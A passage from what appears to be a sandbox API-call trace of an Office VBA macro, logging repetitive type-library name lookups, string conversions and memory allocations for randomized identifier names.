lcid=0x409, szName="ciTvUV") returned 0x103206 [0018.908] strcpy_s (in: _Dst=0x305060, _DstSize=0x7, _Src="ciTvUV" | out: _Dst="ciTvUV") returned 0x0 [0018.908] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=7, lpWideCharStr=0x304eb0, cchWideChar=7 | out: lpWideCharStr="ciTvUV") returned 7 [0018.908] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.908] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="ciTvUV", lHashVal=0x103206, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.908] IUnknown:Release (This=0x7919520) returned 0x10 [0018.908] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.908] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="ciTvUV", lHashVal=0x103206, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.909] IUnknown:Release (This=0x7346470) returned 0xb [0018.909] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.909] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="ciTvUV", lHashVal=0x103206, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.909] IUnknown:Release (This=0x7345930) returned 0x7 [0018.909] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.909] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="ciTvUV", lHashVal=0x103206, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.909] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.909] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xe) returned 0x79720e0 [0018.909] strcpy_s (in: _Dst=0x305210, _DstSize=0xe, _Src="_B_var_ciTvUV" | out: _Dst="_B_var_ciTvUV") returned 0x0 [0018.909] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=14, lpWideCharStr=0x305060, cchWideChar=14 | out: lpWideCharStr="_B_var_ciTvUV") returned 14 [0018.909] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.909] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_ciTvUV", lHashVal=0x10acaf, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.909] IUnknown:Release (This=0x7919520) returned 0x10 [0018.909] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.909] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_ciTvUV", lHashVal=0x10acaf, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.909] IUnknown:Release (This=0x7346470) returned 0xb [0018.909] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.909] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_ciTvUV", lHashVal=0x10acaf, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.909] IUnknown:Release (This=0x7345930) returned 0x7 [0018.909] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.909] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_ciTvUV", lHashVal=0x10acaf, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.909] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.909] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.909] IUnknown:Release (This=0x7919520) returned 0x10 [0018.909] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb769dc, cbMultiByte=17, lpWideCharStr=0xd0421dc, cchWideChar=36 | out: lpWideCharStr="OopksjQIlOzcb hK") returned 17 [0018.909] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="pjspMz") returned 0x1003fb [0018.909] strcpy_s (in: _Dst=0x305060, _DstSize=0x7, _Src="pjspMz" | out: _Dst="pjspMz") returned 0x0 [0018.909] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=7, lpWideCharStr=0x304eb0, cchWideChar=7 | out: lpWideCharStr="pjspMz") returned 7 [0018.909] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.909] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="pjspMz", lHashVal=0x1003fb, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.909] IUnknown:Release (This=0x7919520) returned 0x10 [0018.909] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.909] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="pjspMz", lHashVal=0x1003fb, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.909] IUnknown:Release (This=0x7346470) returned 0xb [0018.909] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.909] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="pjspMz", lHashVal=0x1003fb, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.909] IUnknown:Release (This=0x7345930) returned 0x7 [0018.909] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.910] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="pjspMz", lHashVal=0x1003fb, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.910] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.910] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xe) returned 0x79720e0 [0018.910] strcpy_s (in: _Dst=0x305210, _DstSize=0xe, _Src="_B_var_pjspMz" | out: _Dst="_B_var_pjspMz") returned 0x0 [0018.910] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=14, lpWideCharStr=0x305060, cchWideChar=14 | out: lpWideCharStr="_B_var_pjspMz") returned 14 [0018.910] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.910] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_pjspMz", lHashVal=0x107ea4, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.910] IUnknown:Release (This=0x7919520) returned 0x10 [0018.910] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.910] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_pjspMz", lHashVal=0x107ea4, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.910] IUnknown:Release (This=0x7346470) returned 0xb [0018.910] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.910] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_pjspMz", lHashVal=0x107ea4, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.910] IUnknown:Release (This=0x7345930) returned 0x7 [0018.910] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.910] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_pjspMz", lHashVal=0x107ea4, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.910] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.910] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.910] IUnknown:Release (This=0x7919520) returned 0x10 [0018.910] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76a04, cbMultiByte=10, lpWideCharStr=0xd042f1c, cchWideChar=22 | out: lpWideCharStr="jCFEAbtHss") returned 10 [0018.910] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76a1e, cbMultiByte=10, lpWideCharStr=0xd043366, cchWideChar=22 | out: lpWideCharStr="TuJjaAzMWE") returned 10 [0018.910] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76a32, cbMultiByte=10, lpWideCharStr=0xd043510, cchWideChar=22 | out: lpWideCharStr="sEQztEcfWH") returned 10 [0018.910] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76a46, cbMultiByte=10, lpWideCharStr=0xd0436ba, cchWideChar=22 | out: lpWideCharStr="QkCwOhzIoU") returned 10 [0018.910] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76a5a, cbMultiByte=10, lpWideCharStr=0xd043864, cchWideChar=22 | out: lpWideCharStr="mjCABZSfGW") returned 10 [0018.911] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76a6e, cbMultiByte=10, lpWideCharStr=0xd043a0e, cchWideChar=22 | out: lpWideCharStr="dauUucmHKw") returned 10 [0018.911] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76a82, cbMultiByte=10, lpWideCharStr=0xd043bb8, cchWideChar=22 | out: lpWideCharStr="wOklbirMRt") returned 10 [0018.911] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76a96, cbMultiByte=10, lpWideCharStr=0xd043d62, cchWideChar=22 | out: lpWideCharStr="AqYBSLBQwT") returned 10 [0018.911] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd050000 [0018.912] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="JwctwuRzA") returned 0x10c83c [0018.912] strcpy_s (in: _Dst=0x305060, _DstSize=0xa, _Src="JwctwuRzA" | out: _Dst="JwctwuRzA") returned 0x0 [0018.912] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=10, lpWideCharStr=0x304eb0, cchWideChar=10 | out: lpWideCharStr="JwctwuRzA") returned 10 [0018.912] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.912] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="JwctwuRzA", lHashVal=0x10c83c, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.912] IUnknown:Release (This=0x7919520) returned 0x10 [0018.912] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.912] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="JwctwuRzA", lHashVal=0x10c83c, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.912] IUnknown:Release (This=0x7346470) returned 0xb [0018.912] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.912] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="JwctwuRzA", lHashVal=0x10c83c, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.912] IUnknown:Release (This=0x7345930) returned 0x7 [0018.912] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.912] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="JwctwuRzA", lHashVal=0x10c83c, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.912] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.912] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x11) returned 0x79720e0 [0018.912] strcpy_s (in: _Dst=0x305210, _DstSize=0x11, _Src="_B_var_JwctwuRzA" | out: _Dst="_B_var_JwctwuRzA") returned 0x0 [0018.912] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=17, lpWideCharStr=0x305060, cchWideChar=17 | out: lpWideCharStr="_B_var_JwctwuRzA") returned 17 [0018.912] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.912] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_JwctwuRzA", lHashVal=0x10c200, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.912] IUnknown:Release (This=0x7919520) returned 0x10 [0018.912] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.912] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_JwctwuRzA", lHashVal=0x10c200, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.912] IUnknown:Release (This=0x7346470) returned 0xb [0018.912] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.912] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_JwctwuRzA", lHashVal=0x10c200, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.912] IUnknown:Release (This=0x7345930) returned 0x7 [0018.912] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.912] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_JwctwuRzA", lHashVal=0x10c200, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.912] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.912] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.912] IUnknown:Release (This=0x7919520) returned 0x10 [0018.912] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76ab4, cbMultiByte=10, lpWideCharStr=0xd0521dc, cchWideChar=22 | out: lpWideCharStr="uWNISpihFf") returned 10 [0018.913] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76ace, cbMultiByte=10, lpWideCharStr=0xd052626, cchWideChar=22 | out: lpWideCharStr="TiFRwvdqTZ") returned 10 [0018.913] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76ae2, cbMultiByte=10, lpWideCharStr=0xd0527d0, cchWideChar=22 | out: lpWideCharStr="alwLKFcEDN") returned 10 [0018.913] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76af6, cbMultiByte=10, lpWideCharStr=0xd05297a, cchWideChar=22 | out: lpWideCharStr="jAwRwSkXCW") returned 10 [0018.913] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76b0a, cbMultiByte=10, lpWideCharStr=0xd052b24, cchWideChar=22 | out: lpWideCharStr="uzBBAEFrqi") returned 10 [0018.913] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76b1e, cbMultiByte=10, lpWideCharStr=0xd052cce, cchWideChar=22 | out: lpWideCharStr="vFOpmIXBwM") returned 10 [0018.913] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76b32, cbMultiByte=10, lpWideCharStr=0xd052e78, cchWideChar=22 | out: lpWideCharStr="MZirvTinUi") returned 10 [0018.913] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76b46, cbMultiByte=10, lpWideCharStr=0xd053022, cchWideChar=22 | out: lpWideCharStr="LFozfajwLG") returned 10 [0018.913] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd060000 [0018.914] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="AijDOwz") returned 0x1008d7 [0018.914] strcpy_s (in: _Dst=0x305060, _DstSize=0x8, _Src="AijDOwz" | out: _Dst="AijDOwz") returned 0x0 [0018.914] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=8, lpWideCharStr=0x304eb0, cchWideChar=8 | out: lpWideCharStr="AijDOwz") returned 8 [0018.914] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.914] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="AijDOwz", lHashVal=0x1008d7, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.914] IUnknown:Release (This=0x7919520) returned 0x10 [0018.914] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.914] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="AijDOwz", lHashVal=0x1008d7, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.914] IUnknown:Release (This=0x7346470) returned 0xb [0018.914] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.914] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="AijDOwz", lHashVal=0x1008d7, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.914] IUnknown:Release (This=0x7345930) returned 0x7 [0018.914] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.915] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="AijDOwz", lHashVal=0x1008d7, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.915] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.915] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xf) returned 0x79720e0 [0018.915] strcpy_s (in: _Dst=0x305210, _DstSize=0xf, _Src="_B_var_AijDOwz" | out: _Dst="_B_var_AijDOwz") returned 0x0 [0018.915] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=15, lpWideCharStr=0x305060, cchWideChar=15 | out: lpWideCharStr="_B_var_AijDOwz") returned 15 [0018.915] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.915] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_AijDOwz", lHashVal=0x10fd19, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.915] IUnknown:Release (This=0x7919520) returned 0x10 [0018.915] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.915] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_AijDOwz", lHashVal=0x10fd19, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.915] IUnknown:Release (This=0x7346470) returned 0xb [0018.915] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.915] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_AijDOwz", lHashVal=0x10fd19, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.915] IUnknown:Release (This=0x7345930) returned 0x7 [0018.915] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.915] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_AijDOwz", lHashVal=0x10fd19, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.915] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.915] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.915] IUnknown:Release (This=0x7919520) returned 0x10 [0018.915] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76b64, cbMultiByte=10, lpWideCharStr=0xd06149c, cchWideChar=22 | out: lpWideCharStr="JRdwGwkLIj") returned 10 [0018.915] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76b7e, cbMultiByte=10, lpWideCharStr=0xd0618e6, cchWideChar=22 | out: lpWideCharStr="PIBwCMdoQQ") returned 10 [0018.915] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76b92, cbMultiByte=10, lpWideCharStr=0xd061a90, cchWideChar=22 | out: lpWideCharStr="jwXGBppCio") returned 10 [0018.915] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76ba6, cbMultiByte=10, lpWideCharStr=0xd061c3a, cchWideChar=22 | out: lpWideCharStr="XWaNTzrwNR") returned 10 [0018.915] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76bba, cbMultiByte=10, lpWideCharStr=0xd061de4, cchWideChar=22 | out: lpWideCharStr="jhZvSAOoln") returned 10 [0018.916] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76bce, cbMultiByte=10, lpWideCharStr=0xd061f8e, cchWideChar=22 | out: lpWideCharStr="RUZMHKtWwQ") returned 10 [0018.916] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76be2, cbMultiByte=10, lpWideCharStr=0xd062138, cchWideChar=22 | out: lpWideCharStr="JhhTIsindF") returned 10 [0018.916] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76bf6, cbMultiByte=10, lpWideCharStr=0xd0622e2, cchWideChar=22 | out: lpWideCharStr="VibzjCZcoB") returned 10 [0018.916] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd070000 [0018.917] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Difajul") returned 0x100cc9 [0018.917] strcpy_s (in: _Dst=0x305060, _DstSize=0x8, _Src="Difajul" | out: _Dst="Difajul") returned 0x0 [0018.917] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=8, lpWideCharStr=0x304eb0, cchWideChar=8 | out: lpWideCharStr="Difajul") returned 8 [0018.917] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.917] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="Difajul", lHashVal=0x100cc9, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.917] IUnknown:Release (This=0x7919520) returned 0x10 [0018.917] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.917] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="Difajul", lHashVal=0x100cc9, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.917] IUnknown:Release (This=0x7346470) returned 0xb [0018.917] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.917] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="Difajul", lHashVal=0x100cc9, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.917] IUnknown:Release (This=0x7345930) returned 0x7 [0018.917] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.917] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="Difajul", lHashVal=0x100cc9, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.917] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.917] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xf) returned 0x79720e0 [0018.917] strcpy_s (in: _Dst=0x305210, _DstSize=0xf, _Src="_B_var_Difajul" | out: _Dst="_B_var_Difajul") returned 0x0 [0018.917] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=15, lpWideCharStr=0x305060, cchWideChar=15 | out: lpWideCharStr="_B_var_Difajul") returned 15 [0018.917] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.917] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_Difajul", lHashVal=0x1000cc, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.917] IUnknown:Release (This=0x7919520) returned 0x10 [0018.917] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.917] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_Difajul", lHashVal=0x1000cc, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.917] IUnknown:Release (This=0x7346470) returned 0xb [0018.917] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.917] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_Difajul", lHashVal=0x1000cc, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.917] IUnknown:Release (This=0x7345930) returned 0x7 [0018.917] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.917] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_Difajul", lHashVal=0x1000cc, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.917] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.917] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.917] IUnknown:Release (This=0x7919520) returned 0x10 [0018.917] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76c14, cbMultiByte=42, lpWideCharStr=0xd07078c, cchWideChar=86 | out: lpWideCharStr="GCjkFqFKGzuwODpFhwsiJV wPsTSbOcjzbPjHzNjc") returned 42 [0018.918] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="bwDDStVhNLB") returned 0x1046da [0018.918] strcpy_s (in: _Dst=0x305060, _DstSize=0xc, _Src="bwDDStVhNLB" | out: _Dst="bwDDStVhNLB") returned 0x0 [0018.918] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=12, lpWideCharStr=0x304eb0, cchWideChar=12 | out: lpWideCharStr="bwDDStVhNLB") returned 12 [0018.918] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.918] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="bwDDStVhNLB", lHashVal=0x1046da, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.918] IUnknown:Release (This=0x7919520) returned 0x10 [0018.918] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.918] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="bwDDStVhNLB", lHashVal=0x1046da, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.918] IUnknown:Release (This=0x7346470) returned 0xb [0018.918] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.918] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="bwDDStVhNLB", lHashVal=0x1046da, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.918] IUnknown:Release (This=0x7345930) returned 0x7 [0018.918] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.918] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="bwDDStVhNLB", lHashVal=0x1046da, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.918] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.918] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x13) returned 0x79720e0 [0018.918] strcpy_s (in: _Dst=0x305210, _DstSize=0x13, _Src="_B_var_bwDDStVhNLB" | out: _Dst="_B_var_bwDDStVhNLB") returned 0x0 [0018.918] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=19, lpWideCharStr=0x305060, cchWideChar=19 | out: lpWideCharStr="_B_var_bwDDStVhNLB") returned 19 [0018.918] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.918] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_bwDDStVhNLB", lHashVal=0x10383c, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.918] IUnknown:Release (This=0x7919520) returned 0x10 [0018.918] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.918] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_bwDDStVhNLB", lHashVal=0x10383c, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.918] IUnknown:Release (This=0x7346470) returned 0xb [0018.918] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.918] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_bwDDStVhNLB", lHashVal=0x10383c, 